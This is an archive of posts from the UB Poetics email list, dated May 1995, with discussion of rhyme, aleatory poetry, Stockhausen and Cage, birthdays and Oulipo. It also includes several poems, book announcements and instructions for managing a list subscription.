Re: birthdays
Tue 9 May 1995

May 1's "my day" - a haymarket, lawyer fest here in the U.S., May Day has crept back into an undercurrent of discontent/content. The Bacchanalia of signs. May pole, bar pole, step up to the bar, barred from representative gov. (or saddled with it.) I was born on International Workers Day, International Lawyers Day

(hokum), and the day of fertility rituals - as you say Chris, vat Irony... that who of history... what who?

in all fatness

Pat

↑ Index

171. **maria damon**
Re: Aleatory Poetry
Tue 9 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Maria, add Shaks to yr list of creative Taureans -- even if
> Cordelia was a bit of a mess,as some think. Trad date of birth 23
> April (conveniently St George's day) best

thanks but shaks is apocryphal --or jsut about everything about "him" is, no?
hey I gotta question passed on from someone else, who remembers a street poet of
greenwich village circa 1050-60s who had a poem called
Religion
In the winter I'm a Buddhist
In the summer I'm a nudist.

that's it in its entirety. I told my friend i'd ask around to find out who this might be --any ideas?--maria

↑ Index

172. **Gary Sullivan**
Oracular Editions (fwd)
Tue 9 May 1995

Everyone:

What follows is an ad for a cassette of spoken word material some of you might be interested in. Erik Belgum, who put the cassette together, is also interested in trading with presses, etc. His e-mail address is:

[redacted]

Here goes:

The Oracular Editions (OED) cassette label, dedicated exclusively to the spoken word, has just released Oracular Editions #1, an audio anthology of spoken word performance, audio art, soundtexts, poetry readings, etc. Oracular

Editions #1 contains works by Paul Dutton, Robert Gregory & Jason Gibbs, John M. Bennett, Richard Kostelanetz, Alex Ferguson, Philip Blackburn, Warren Burt and Nicolas Collins. Price: $10 (includes shipping).

In addition to the ongoing series of audio anthologies, future projects include a series of experimental short stories produced for radio and a series of documentary tapes covering often discussed, but seldom experienced, natural language phenomena such as glossalalia and Tourette's Syndrome.

Please direct all orders and inquiries to: Erik Belgum, Oracular Editions, 3010 Hennepin Avenue South, #74 Minneapolis, MN 55408 USA

↑ Index

173. George Bowering

Re: birthdays

Tue 9 May 1995

Hey, my kid brother Jim was born on May 31, 1949, and he isnt at all like Whitman.

↑ Index

174. Chris Stroffolino

Re: Aleatory Poetry

Tue 9 May 1995

Well, Dodie, Sean Killian is born on the Marquis DeSade's birthday (6-2-95), and he wouldn't be if he were related to Kevin.... later, Abby Hoffa...

↑ Index

175. George Bowering

Re: rhyme

Tue 9 May 1995

It has been a long time since I have heard of rime's being identified with a pairing of words that have the "same" vowel and "same" last consonants. I remember that my highschool teacher (who was from England) used to tell us that. She also mentioned all those fictions we had to learn: slant rime, half rime, quarter rime, assonance. Etc. I always wondered whether half rime included 12/13 rime. But to limit the term rime to cloud and proud is a little strange after all these years after Duncan, etc. I think that that definition would make some sense to the people in the rumoured "new traditionalist" or whataver those US poets are called's netlist.

↑ Index

176. cris cheek
Re: No Change
Tue 9 May 1995

It's nice to have the evidence distributed with the
>assertion.

I saw the yearbook and was surprised that Schmidt was running with it. Glad to have your spot on rejoinder as to his real interest with it.

I've just published Miles Champion's first book 'Sore Models' and have an Allen Fisher 'Civic Crime' - don't know if you've seen that. Eager and happy to trade with you if you're up for that stuff.

love
cris

↑ Index

177. George Bowering
Re: rhyme
Tue 9 May 1995

I think that I know what the problem is in this discussion with H.T. Kirby-Smith. Says "I don't remember seeing a rhyme in Ginsberg." Now, in my experience, one is much more likely to HEAR a rime. And one hears a lot of it in Ginsberg. As to Williams, well, he and H.D. were the 2 Modernist poets who taught me a sense of rime, and my actual (later) teacher was Robert Duncan. I strongly suggest reading his great serial poem, "The Structure of Rime." Or go back to page 51 of _The Opening of the Field_, to read "Keeping the Rhyme"

By stress and syllable
by change-rhyme and contour
we let the long line pace even awkward to its period.

The short line
we refine
and keep for candor.

This we remember:
ember of the fire
catches the word if we but hear
    ("We must understand what is happening")
and springs to desire,
a bird-right light
    sound.

This is the Yule-log that warms December.
This is the new grass that springs from the ground.
...

Or listen to the first line of the Pindar poem and explain how it is not singing with rime.

---I think that W.T. is taking the concept of endrime and giving it the term rime. That is, to my mind, like taking iambic pentameter and calling it rhythm.

↑ Index

178. George Bowering
Re: jazz/music
Tue 9 May 1995

Got a message from Susan Clark (the poet, not the actress), who said that Black Swan is in business at another address; she says that the new place looks less funky, and she didnt recognize the people working there, but I am going to check it out.

↑ Index

179. Aldon L. Nielsen
Re: second epistle to the oulipites
Tue 9 May 1995

Maria & other interested parties --
here's the info. on that mag. I mentioned earlier --

the January/February 1994 issue (#99) of _New Observations_, guest edited by Harry Mathews and Lynn Crawford, is a special "Oulipo * Oupeinpo" issue--

"Oupeinpo" stands for Ouvoir de Peinture Potentielle

lots of good stuff here -- my own favorite being Thieri Foulc's "New Observations on Harry Mathew's Face"-- though Queneau's "The Foundations of Literature" will be of special interest to those (and you know who you are) who follow the study of mathematics and poetry.

↑ Index

180. Robert Drake
Re: second epistle to the oulipites
Tue 9 May 1995

---

forgot to mention, too, that Martin Gardner devoted one of his "Mathematical Recreations" columns in Scientific American some years back to Oulipo--was my first introduction, & praps easier to dig out than most...

lbd

↑ Index

181. braman sandra
Starfish Cellular
Wed 10 May 1995

Signing off while I wander for a month.... so a few parting words.... Sandra Braman

STARFISH CELLULAR

Organization, but every now and again an arm
walks
away,

grows its own brain,
mouth and
feeds.

At some point the change comes.
At some point the swift.

Timing is everything, worn down
elephant estrus, sixteen weeks,
and in between the bulls go
mad

Fielding the warrant
Star directory
Star cellular

There is the warrant dormant.
The bench warrant, the desk, the warrant court-
martial.

"Nothin' feels better than blood on blood."

The heart, as an organ, responds
to being cut open with "irritability,"
it is said to be
"unforgiving," wild dreams, and thrashing,
voice scat over
night.

Collateral facts

Dispositive facts

Evidentiary facts

Fabricated fact

Fact question

There, gathering the sheaf,
long skirt damp and arms as wide as
tai, tai, tying Texas,
the leaves of cases,
bundled, a memory complete.

Starfish organizational.
We are at that point
of evolution
when the child I love most strongly is
most probably NOT to be my
own. Starfish gestational.

Starfish investigatory.

Surviving cellular. Surviving New Jersey and
heirloom brass turned green;
putting the warrant out,

wanting that protection. "I'm going to keep
moving on," he said, and
walked away.

Sandra Braman

↑ Index

182. Ron Silliman
Re: Aleatory Birthdays
Wed 10 May 1995

Sorry Jed,

I turn 49 in August. (Isn't it obvious that I'm a Leo?)

Ron

↑ Index

183. Gary Sullivan
Funding for the arts (fwd)
Wed 10 May 1995

Dear Minnesotans:

What follows is a forwarded message that may interest you. All others, I apologize for clogging this list w/this, but this is the quickest way I could think of to impart this info:

The Minnesota Legislature has recommended a modest increase in arts funding. The legislation, however, is still vulnerable to the veto pen of Governor Arne Carlson. Please call the governor's office today (May 9) or tomorrow (May 10) at [redacted] to express your support for the arts appropriation. When you get the governor's answering maching, leave a message something like the following: "My name is ------- and I live in ----------. My phone number is ---------. Please support the legislature's recommendation for increased arts funding."

If many of us call, we can make a difference. Thanks.

--Lane Stiles

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184. Aldon L. Nielsen

Re: lyric and/or

Wed 10 May 1995

Chris S. -- found your nearly immediate move from interesting remark re: lyric to a radical narrowing of the question to just a few forms of music odd -- and the opposition even odder, as most poets & critics of my acquaintance (an admittedly unrepresentative sampling) seem, if anything, obsessed with punk and rap (though they may argue that the audience produces "resistant" readings) and most listen to Stockhausen too!

ok, so maybe they only have one Stockhausen recording -- but he doesn't usually include lyrics anyway,,, so you got to make up your own words,,, but you _can_ dance to it -- and I usually make up my own words to popular recordings anyway 'cause most of the lyrics printed on the sleeve are so pathetic, but then I do that with Wagner as well, cause I don't speak German --

This isn't exactly aleatoric, but some of my poetry has its origins in my misunderstandings on first hearing of a piece of music -- as on the occasion, while driving through the streets of D.C. with Rosmarie Waldrop some years ago, when I could have sworn the gospel song playing on the car radio was titled "Rise and Annoy the Lord."

but I'm not usually so orhpic -- and milk light isn't good for your eyes --

↑ Index

185. Andrew Joron
against quietism
Wed 10 May 1995

In celebrating the virtues of Zen and the Aleatory, I'm afraid we may be losing sight of the still-important notion of struggle, as opposed to the Zen idea of accepting whatever the Aleatory hands out. I would rather validate an Activist stance in both poetry & politics, and promote the idea that the Real is something to be transformed. The Aleatory in this light becomes a provocation rather than an end-point. It's only through resistance that we are led to wonder.
-- Andrew Joron

↑ Index

186. Herb Levy
Re: Aleatoric Spree
Wed 10 May 1995

Ira -

Those Stockhausen quotes are quite useful, thanks for providing them. I'll respond to them after I've had a chance to to hear some of the music.

I'm afraid, though, that no amount of listening, to Stockhausen or otherwise, will help me understand some aspects of your posting entitled <Aleatoric Spree>, particularly the section about the spiritual side of Cage and Stockhausen.

I find it interesting that you make these statements directly after warning people that the following section may be too specifically musical for general readers of <poetics>. As you say elsewhere, <we were, after all, talking about Zen>.

In any case, I'm asking for further help & clarification from you here. There's a lot that I simply don't understand in your posting.

On Tue, 9 May 1995, I.LIGHTMAN wrote:

> *All I want to do is quiz some of the oppositions that underlie loyalty to *one* kind of music at the expense of all others, not keep saying "Stockhausen" over & over till everyone listens to him or ignores me. One of my first posts to the list, Herb, was to say like you that Cage is too readily appropriated, and seems to stand for some very narrow-minded avant-garde approaches to music in non-musicians; or, in other words, if a poet doesn't want to put in the hard work involved taking music seriously, he/she can say "I like Cage" and thus, in one foul swoop, justify never wanting to listen to pre-Cage classical music or any New Music done by those who differ from Cage eg (for my tastes)*

> *Boulez and Stockhausen AND (in the same swoop) seem to be into avant-garde music by being a fan of John Cage.*

You're projecting an awful lot of your position onto my own brief statements.

One, I really don't care if someone else's taste in music, poetry, food, or whatever is <narrow-minded> or not. It's hard enough to take responsibility for one's own taste, let alone that of another. If someone chooses to listen only to Cage or Mozart or Presley, why do you care?

Two, these days I think most avant garde/intellectual posturing in regard to music revolves around artists like Brian Eno, or noise bands like Einzstuerzende Neubauten or Crash Worship. Cage's music isn't hip enough for most poseurs (this may be somewhat different in England, but, if I can believe what I read in _The Wire_, not too much so.)

Three, While we seem to agree that Cage's music is often misunderstood, I really think this is more often true for those who dismiss his music. Can you provide sources for the kind of misunderstanding you mean?

> *Let me rush to say that this formulation does not apply, in the slightest, to you Herb, or any of the others who have posted about Cage on this list in this discussion, there's been some wonderful discussions of sound and texture, which are issues for pets (poets?) too.*

Very flattering, perhaps, but before you <rush to say> anything of the sort here, you really should know more than you can about my taste in music.

<large cuts here>

> *I think Pound was right that poetry mustn't stray too long from music(s); if the poet only buys into one music, especially one that sells itself as superceding all others, things ossify quickly,*

That parenthetical <s> and the semi-colon indicate how much you're stretching here. It really isn't clear that the paraphrase from Pound supports your views. & could you please quote a source where Cage says his music supercedes all others.

Ira, you then continue with a comparison of the spritual beliefs of Stockhausen & Cage. But you don't compare them using equal terms. As I said above I am most uncomfortable with and unclear about this part of your argument. I look forward to your guidance in how to read the following:

> *Herb, I agree with you that Stockhausen proslytises too, I was only making that jibe in response to your earlier message suggesting one might think of Cage's use of the I-Ching just in terms of numberm] , and it wouldn't be such an issue then; and I was just responding that (since I think Cage *does* use the I-Ching mostly as a number system) that the question remained of being a bit of a guru and yet not*

> *being part of a complex sacral system, but in fact an easily grasped rite in isolation.*

Unless I totally misread you here (& this is a very convoluted statement so I admit this could be the case), you seem to be saying that Cage's use of a Confucian text,the I Ching, primarily as a tool, somehow calls into question his belief in Buddhism. Could you please explain how this is so? Further in this sentence you seem to imply that Buddhism is _not_ a <complex sacral system>, Cage's belief in Buddhism is not <complex>, or, that Cage's sense of Buddhism can be too easily grasped by his audience. Could you please clarify which, if any, of these readings you meant. If you mean that Cage's belief in Buddhism is not complex, how you mean this & how do you know this? If you mean that Cage's sense of Buddhism is too easily grasped by his audience, how do you mean this, how do you know this and why is it Cage's fault?

> *I don't mind Stockhausen being a guru, because I think he's very serious about setting up a complex sacral system that' one cannot grasp quickly or easily.*

I will readily agree with you, regardless of what you meant in the previous sentence, that Stockhausen's sense of the spiritual cannot be easily grasped. Can you explain why you think this is a good thing? Are you criticizing Cage for not devising his own <complex sacral system>?

I'm still confused by much of this & I'd appreciate help in clarifying these points.

Bests,

Herb

↑ Index

187. R.I.Caddel @ durham.ac.uk

No change / exchange

Wed 10 May 1995

DEAR CHRIS, I'm always up for swaps - let me know what you'd like - how about Roy Fisher's It Follows That (Pig 1994) with its nice fable "A Modern Story" where Fisher dreams he's made a fortune out of running poetry competitions and vanity presses, and ends up buying the Arts Council of Great Britain at a knockdown price. Or strictly, doesn't, because, as he says, he's a straight businessman by that stage.

I couldn't possibly tell you the story about how Oxford refused to publish that poem in one of their RF collections...

RHYME: Bunting spent much of the back end of his life on an intensive investigation of Welsh rhyme, which he described as "all the things that hold

poetry together" - including assonances, alliteration, half-rhyme, slip-rhyme, and other patterning devices way beyond the formalist straightjacket - but then, he also wrote: Follow the clue patiently and you will understand nothing - which, of course, is where chance comes in.

BIRTHDAYS: congratulations to all concerned, and to their familiars. I share July 13th with John Clare, John Dee and Julius Ceasar (depending on how you split the year with the old calandar). To date my global conquest achievement is low, my black magic distinctly poor, but I'm doing ok on the lyric environmentalism and insanity.

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

188. H. T. KIRBY-SMITH
Ginsberg's rhymes
Wed 10 May 1995

You know, if you listen real hard to HOWL it is really a series of Petrarchan sonnets.

↑ Index

189. Michael Boughn
Re: Rhyme
Wed 10 May 1995

For those interested in following through on the rhyme question, three places come immediately to mind: Donald Wesling's *The Chances of Rhyme* tracks the history of it's definitons and usages from the 18th to the 20th c's; Kenneth Burke's "On Musicality in Verse" (in *The Philosophy of Literary Form*) distinguishes some of it's amazing diversity; and TVF Brogan in *English Versification 1570-1980* discusses significant linguistic issues. He, in fact, argues, that rhyme is not a "literary device" at all, but a crucial linguistic strategy "in reduplication and word-formation". His point being "poetry is not made out of language; poetry _is_ language."

All of this really goes to back up George's points that what we call "full rhyme" is only a minor manifestation of rhyme, and that it functions in profound and incalculable ways as a fundamental organizing power of language itself.

Mike
[redacted]

↑ Index

190. **maria damon**
Re: Starfish Cellular
Wed 10 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Signing off while I wander for a month.... so a few parting words....
> Sandra Braman
>
>
> STARFISH CELLULAR
>

thanks sandra for that lovely meditation. reminds me of january chris funkhouser and i rescued a starfish lying on the median strip of a beachside road --dropt by seagull no doubt --still thick intact and living. we drove by i sd stop wasnt that a starfish on the rd, we turned back, i made chris pick it up and we walked it down to the ocean's edge. it felt like an augur, auspicious no less, but of what i know not. --maria damon

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191. **maria damon**
Re: Aleatory Birthdays
Wed 10 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Sorry Jed,
>
> I turn 49 in August. (Isn't it obvious that I'm a Leo?)
>
> Ron

aw rats! after all that.

↑ Index

192. Alan Sondheim
Re: Rhyme
Wed 10 May 1995

I've constantly wondered about the presence of rhyme and alliteration (for example Anglo-Saxon) anywhere - it would seem to have a cognitive basis - I wonder what could be traced in neural circuitry? Neural networks utilize repetition, similarity, competition; combine these elements with the frame problem (beginnings and endings of structures like line endings), and rhyme could indicate neurally a conclusion and a reinforcement of sound that interplays with the symbolic as well. In which case, rhyme would emerge out of the Kristevan chora (what a sight!/ site!), the _matter_ of language (as in Deleuze's _matter_ of cinema), simultaneously deflecting/ground the poem in the inchoate...

Just thinking out loud here -

Alan

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193. H. T. KIRBY-SMITH
Paul Christenson on Olson
Wed 10 May 1995

In his book CHARLES OLSON: CALL HIM ISHMAEL, Paul Christenson wrote:

As Olson became convinced that the success of the open poem lay in its being a model of expanded consciousness, he gradually abandoned interest in those other features of of his original poetic: the emphases of breath and ear on the generation of lines and syllables in the poem. In fact, in the second triad of the MAXIMUS, these vestiges of artifice, the play of sound and the rhythms of line lengths, disappear altogether. [88]

At the beginning of the book, Christenson wrote: "It is a pleasure to thank those who joined me in celebrating the life and work of a great poet . . ." It therefore seems reasonable to believe that the first quotation above was not intended as hostile criticism. It seems to me an accurate description of the poetry.

↑ Index

194. Jordan Davis.
affect[ed/less]ness
Wed 10 May 1995

anybody up for a little polyvalent montage?

JD

↑ Index

195. Edward Foster
Re: against quietism
Wed 10 May 1995

---

quietism. and, really, when one comes right down to it, is there any reason, not self-indulgent or moral, to slip off the planet? why so? and does that implicate the poem? andrew, there can be struggle, tho why? there's no real outside what's said.

↑ Index

196. George Bowering
Re: Starfish Cellular
Wed 10 May 1995

MUSING ON SOME POETS

Those poets, heads coming out of collars,
advised us, showed us how to hold paper and look good,
did we sometime grow tired of them, those
who lived for us,
died for us,
rotted under ground for us,
are still
so we may move.

Not friends, really, not teachers,
poets, whose names glittered when we were alone,
whose books dropped like gleaming newborn calves into our unsteady hands,
did we read them as if pulling shavings off our souls,
never stepped out of the Pacific combers with shine on morning face,
never twisted body out of grip of coal giant ogre
save with inspiration of our poets,
and who knows what our
means?

What are we now besides older;
a young man newly graduated from university,
black gown still on him said I envy you and your friends,
you got to make the last ones,
there isnt anything to make now, or no one knows what there is.

I said it seems that way but there is always something,
and I showed him my teeth through yellow beer.

Do we old farts say thank you every genuflecting morning
to those poets with agate names who showed us their synapses?
Nowadays the young want us to love the earth,
And I never say out loud to them that my dear old people
Are columns of earth, walk around, sit in chairs,
discard cigarettes and write thatUs left of poems.
They were low lights between mountains visible
To the evening gaze, they were evaporate mornings,
They are not mulch but stones in the earth, they are not
specimens but the authors of words should be whispered inside a dark bowl
from Siena.

I have no remaining skill for form,
just feel words jostle each other in doorways on the way out, sit here this
evening remembering a former life, IUm with friends
all lovely all restrained by hope, all agreed without saying so
Qthose poets gave us a way to waste our lives
saying useless things, smiling indulgently at each otherUs personal diaspora,
carrying mismatched goodies on the way to the grave,
trip, fall into hole, write on dirt walls
a first and last sonnet,
solving all, coming to rest, combing hair, adjusting socks,
kissing no one but the image of Jesus, disbursing mind as if it were mercury,
listening for the voices to arrive with the worms.

↑ Index

197. Carl Lynden Peters

Re: To all appearances... (fwd)

Wed 10 May 1995

---

a friend of mine just wrote me this. i'm passing it along for any duchamp fans out there: tony, what do you think:

> "*To all appearances, the artist acts like a mediumistic being who, from the labyrinth beyond time and space, seeks his way out to a clearinbg.*"
>
> *Labyrinths have often signified the human's journey through the various "twists and turns" of life to the centre, the source of all things and all*

> *inspirations beyond time and space, the realization of perfection,...*
>
> *In a related way, the labyrinth may signify a journey towards an ordeal to be faced at the centre of the labyrinth, and then the challenge of finding one's way out .... on the journey of maturation, to the source .... The myth of the legendary bull-human, the Minotaur at the centre of the Cretan labyrinth, is powerfully of this type.*
>
> *Strikingly, references to mediumistic beings generally refer to shamans. (This links back, of course to Tim's work and the book Skin, Bones and Stones [exact title?].) In general, it would mean the transcending of material conditions (time and space) to commune with the divine, receive inspiration, ...*
>
> *Also, the shamanistic act is done in service for the collective group and humanity. Duchamp may have had this in mind in this subtle, yet powerful way, in the identifaction with the artist.*
>
> *The clearing will definitely be a transformed and transmuted place on coming out from the labyrinth -- very much a place of creativity, and it would awaken and instill the drive for profound expression.*
>
> *Thus in outling the above, I would say that this statement from Duchamp, is very powerful, compact, and comprehensive, providing a key to us on the deeper how and why of creative work.*
>
> *(Penelope Doob Reed, a York U. English professor, has written a helpful book on labyrinths/mazes, The Idea of the Labyrinth from Classical Antiquity through the Middle Ages, 1990. I have heard of another book, The Maze in the Mind and the World, by Donald Gutierrez, but I have not read it.)*

carl

↑ Index

198. **Chris Stroffolino**

Re: lyric and/or

Wed 10 May 1995

---

aldon---since many of the things i was questioning about preconceptions about "popular lyrical music" were "between the lines" of the discussion (or "only in my mind"), let me consider, for instance, a quote i heard attributed to Robert Kelly that claims that while rock lyrics are like looking in a mirror, poetry breaks the mirror.... (end quote--sic). Now, this of course makes poetry more like "aleatory" music than lyrics....and is a valuable distinction up to a point but one could argue the chance elements in many songs, the mixed metaphors even in tin pan

alley (or songs like "chek to cheek" about "cares" vanishing like a gambler's winning or is it loosing streak), and the alea that occurs (perhaps unintentionally---but in this day of "author constructs" and authors as FALLACIES this shouldn't matter, right?) when the "sentiments" of the lyrics seem to clash with the melody they are "couched" in....These phrasings, and lyrical hooks, can teach one much about "craft"---and about the enigmatic power of cliches....and also why three chords and their "lyrical equivalent" are not necessarily "naive" as they might seem.....Now, sure, maybe I wouldn't have meditated on the "double entendres to be found in songs like Tom Wait's "Time," Suzanne Vega's "Marlene On The Wall" or even whether the Moody Blues intended quotes around "Just what you want to be/You'll be in the end" had they appeared in poems rather than in melodies that one rides through the silence... but then I'm not one of those who agrees with the Literary Historian who calls the "olde English Ballad" a "hybrid" form either...It's only such from a specialized perspective that sees music and words as essentially distinct. The point I'm trying to make is that it seems why there is so little attention devoted SERIOUSLY to rock songs is that it's ultimately harder to discuss than either poetry or instrumental music in isolation is....(and i certainly don't claim to have found a way to do so, but I am curious about moves towards it). Chris Stroffolino

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199. **Herb Levy**

Re: lyric and/or

Wed 10 May 1995

Chris -

I don't want to spend too much space on yet another of the music issues popping up here, but you may want to look at <Feminine Endings> by Susan McClary for a couple of chapters looking at Madonna and Laurie Anderson from the point of view of words set to music.

And don't forget songwriter/actor/painter Martin Mull's favorite question during interviews (it apparently came up with some regularity):

Which do you write first, the words or the lyrics?

- Herb

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200. **maria damon**
Re: birthdays
Wed 10 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> May 1's "my day" - a haymarket, lawyer fest here in the U.S., May Day has
> crept back into an undercurrent of discontent/content. The Bacchanalia of
> signs. May pole, bar pole, step up to the bar, barred from representative
> gov. (or saddled with it.) I was born on International Workers Day,
> International Lawyers Day (hokum), and the day of fertility rituals - as
> you say Chris, vat Irony... that who of history... what who?
>
> in all fatness
>
> Pat

happy birthday. in minneapolis, may day is THE big holiday of the year, the leftist and pagan countercultural equivalent to christmas --there's a big parade and pageant with larger-than-life size puppets which yearly acts out the rescue and resurrection of the tree of life by the sun, who comes rowing across a lake. then all the puppets and paraders dance to a jazzy version "you are my sunshine"-- all the while, off to one side, a platform with the haymarket martyrs hanging in effigy reminds one and all of that part of history. like christmas or the high holidays, its when everyone gets high emotions about who theyre going to run into at mayday (old lovers , family, etc), whose brunch they got invited to , etc., all the kids have sparkles and face paint and the little girls wear tiaras and may-pole like wands, everyone brings blankets and picnics in the park where the parade ends --etc. someone shd write something cultural studiesish about it. it's very charming and rough-hewn, and personally i can't stand it.--maria

↑ Index

201. **David Ball**
Re: Ginsberg's rhymes
Thu 11 May 1995

Yeah, *sure* HOWL is "really a series of Petrarchan sonnets." What isn't?

BALL FROM MISSOURI

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202. **Andrew Joron**
outside the sign
Thu 11 May 1995

Dear Ed, when you write"There's no real outside what's said"
should I understand you to be in agreement with that famous
statement of Derrida: "Nothing exists outside the sign" ?
Would poetry exist if there wasn't something real that
always manages to defeat or elude signification? I think
we are moved to transform language poetically in the direction
of the unsayable. And our means to do so is an active
principle which you, in a different context, invoked
recently: "the subversive imagination."
-- Andrew Joron

↑ Index

203. **I.LIGHTMAN**
Re: Aleatoric Spree
Thu 11 May 1995

Herb,

Without flattery, you are great. I retreat. All apologies,

Ira

↑ Index

204. **Herb Levy**
Re: Aleatoric Spree
Thu 11 May 1995

Ira -

I didn't want to beat you into retreat or submission. You really _haven't_ been very clear about the distinction you're trying to draw.

While I'm often blunt, I am sorry that my honest requests for clarification were read in this way.

- Herb

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205. **cris cheek**

Re: Stockhausen and aleatoric composition

Thu 11 May 1995

Thought it might be worth posting some other Stockhausen (anybody tuned into wonderful English band Stock Hausen and Walkman yet?) quotes. He has rather come to dominate the chance discussion and quite unfairly in my opinion as he has little to do with it. And I do want this thread to meander further.

'Sung sounds are individual "organic" members of the more comprehensive "synthetic" sound family. At certain points in the compostion, the sung sounds become comprehensible words; at others, they remain pure sound values; between these extremes there are various degrees of comprehensibility of the word. WHenever speech momentarily emerges from the sound-symbols in the music, it is to praise GOd (Daniel 3, "Song of the Men in the Fiery Furnace"). (Notes for 'Gesang der Junglinge' - 1955/56)

'. . . the voice of a boy in the unfamiliar surroundings of electronic sounds. Suppose you would find an apple or an ashtray on a distant star. What is so common here takes on magic there.'

'. . . in Kurzwellen, the players react, while they are actually performing, to completely unforeseeable events which they receive on short-wave radios. I composed the process of transformation: HOW they react to what they hear on the radio; HOW they imitate and modulate it, transpose it in time - longer or softer; WHEN and HOW and HOW OFTEN they play synchronously or alternatingly, in duos, trios or quartets; HOW they call and invite one another to hear 'together' an event wandering for a long period of time among them, to let it shrink or glow, to compress it or expand it, to darken it or to lighten it, to concentrate it or to decorate it playfully. What could be more general, more suprapersonal, inclusive, universal, instantaneous than the 'broadcasts' that become musical 'material' in Kurzwellen? How can we break out of the sealed world of radio waves that encase our globe like a musical retina? Does not a great deal of what we receive on our short-wave radios already sound as if it came from quite different spaces, beyond speech, reportage, "music", morse code?' (Stockhausen, translated by Rolf Gehlhaar in 1968)

These are just two examples but they illustrate Stockhausen as being more concerned with the borders between Composition and Improvisation than with chance and aleatoric procedures - for me. He goes on to use terminology such as 'human spirit', 'unity', 'higher unity', 'preconsciousness', While not being totally humourless (obvious paradoxes such as musical retina aside) I find the invocation of such 'concepts' (without definition to focus their use) to be a party to utopian mystification. Quite honestly I enjoy listening to these earlier pieces (including in addition 'Mikrophonie I' and 'Mikrophonie II' and 'Mantra') but am

bugged by his increasingly mystical justifications. I feel that Stockhausen really wants to retain CONTROL whilst appearing to be offering a generous and improvisatory space to his musicians and chipping away at the block of creator's absoluteness which was the hard scree of sixties art politics fashion. In fact he often comes across as being self-important - not at all as humble as he might have tried to act. I found this to be especially true of him 'in person'.

Any takers on Miles Davis, Sun Ra or Hermeto Pascoal and more rough hewn humourous dynamics? And then what about chance? Hasn't this discussion been hovering in differentials between 'aleatoric compositon' and extemporisation / improvisation?

cris

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206. Charles Bernstein

The List Itself (2): How to Unsub and Other Stories

Thu 11 May 1995

In the "Welcome" message for this list I give a misleading instruction on how to unsubscribe to the list. To do this send a one line message (no subject line) to [redacted]:

do not include your name in this command.

You can temporarily stop getting mail (for example if you will be off line for a while) by sending this message:

set poetics nomail

and then get mail again by:

set poetics mail

this is easier than subbing and unsubbing

& y'all know about:

set poetics digest

which can be turned off by "set poetics mail"

I hope this is all correct! Let me know if not.

****

As of today, there are 222 subscribers to Poetics.

*****

I want to add my thanks to Loss Glazier for the pioneering work he is doing with EPC. As things are getting tougher at SUNY, I know there is a greater

squeeze on him at his official library job. While EPC is exactly the sort of thing a public university should be committed to supporting, Loss's work on EPC is all on his own time -- as, of course, is much of the work of the other editors and publishers, and poets, hereabouts.

If you haven't checked into EPC via WW or lynx, I encourage you to do so, and to let us know what you think:

URL=gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift

You will find a month by month archive of the Poetics List going back to the December 8, 1993, announcement of Robin Blaser's The Holy Forest and taking us through March 1995. Loss has spent a good deal of time reformatting this archive to make it easier to read and to search (we also had to manually put together the files for the first several months of Poetics).

AND just out -- the new Rif/t, which I assume most of you get by direct subscrition, but which is also available at the EPC. Especially recommend in the hypertext versions.

*****

One final note, especially to those who don't post much: PLEASE post information on your recent publications, books or articles or works just out or immediately forthcoming. There are some people on the list who have had books out in the past few years but never announced them here. Now is the time!

V*i*r*t*u*a*l*l*y y*o*u*r*s,

--Charles Bernstein

↑ Index

207. Edward Foster
Re: outside the sign
Thu 11 May 1995

---

andrew, yes, but the big D. (a voice outside my house from the start) said it was all writing. to me, anyway, augustine was wrong; "signification

" isn't it. we don't mean, tho critics try. the phrase is leonard's, but i love subversion, so agree.

↑ Index

208. **John Byrum**
Re: against quietism
Fri 12 May 1995

The first & arguably only systematically aleatoric piece produced through me was titled GENERATOR & eventually led (via twists & turns) to my deciding to do GENERATOR Press.

How much Real really gets transformed via poetry?

Corollary: How much Real really gets transformed via poetry in the USA?

Is it like Beckett's heap of sand grains blown one by one in the wind?

↑ Index

209. **John Byrum**
Re: Aleatoric Spree
Fri 12 May 1995

It is important to virtually evaginate hamburger

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210. **Ryan Knighton**
Re: really Real
Fri 12 May 1995

John Byrum throws out the question "How much Real is transformed via poetry?"

I favour Spicer's idea of correspondings, as put in "After Lorca". The idea that the real is not in poetry, but that poetry creates corresponding times and places. It carries the real across making this lemon correspond with your lemon. I suppose there isn't transformation happening, as the real is not being treated, but seeking some kind of agreement, maybe.

By the by, did anyone catch today's interview with the translator of Perec's eless work? It was on CBC this morning.

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211. **David Ball**
Re: The List Itself (2): How to Unsub and Other Stories
Fri 12 May 1995

this is one of the "Other Stories". Since you point out that "some people on the list...have books out in the past few years but never announced them here" --I'm one of them, with the great visionary Henri Michaux, thus:

DARKNESS MOVES: AN HENRI MICHAUX ANTHOLOGY 1927-1984
Selected, translated and presented by David Ball
University of California Press, 1994

342 pages

Selections from all Michaux's major collections. 30 pp. of plates (b&w, unfortunately--choice of Michaux's drawings and paintings).

$30 well worth it.

↑ Index

212. Alan Golding
Self-promotion
Fri 12 May 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Thought some of you might like to know of my recent book publication, which arrived in my own hot little hands this Wed: From Outlaw to Classic: Canons in American Poetry (Univ. of Wisconsin Press). $52.00 cloth (!! I thought of trying to claim it's cheap at the price, but . . .), $19.95 paper.

Alan

↑ Index

213. Michael Boughn
Re: Olson and rhyme
Fri 12 May 1995

Forget Christensen, here's Charlie Hisself:

> Astride
> the Cabot
> fault,
>
> one leg upon the Ocean one leg
> upon the Westward drifting continent,
>
> to build out of sound the wall
> of a city
>
> . . . (from Max III.37)

and later

> Each Night is No Loss, It is a daily eclipse,
> by the Earth, of the Sun

the universe unfolded in sound, light
is only the drum--the hourglass--of the earth's atmosphere
not the sun which is an orange lozenge
nailed on blackness above our air, sound first
even before color of the darkness and the blue
or green or red, of eyes, night itself
only an eclipse by the earth of the sun, so air
or night conducts as dreams: we are
wrapped in the elephant's
skin, all the outside of
all above deadly
destruction which the species now craves
wrapping itself in impenetrable garments
& chasing in little cars motion
of a receding
universe, rushing
to return, helplessly in time, out of time, outside
the lucky
sky, dancing
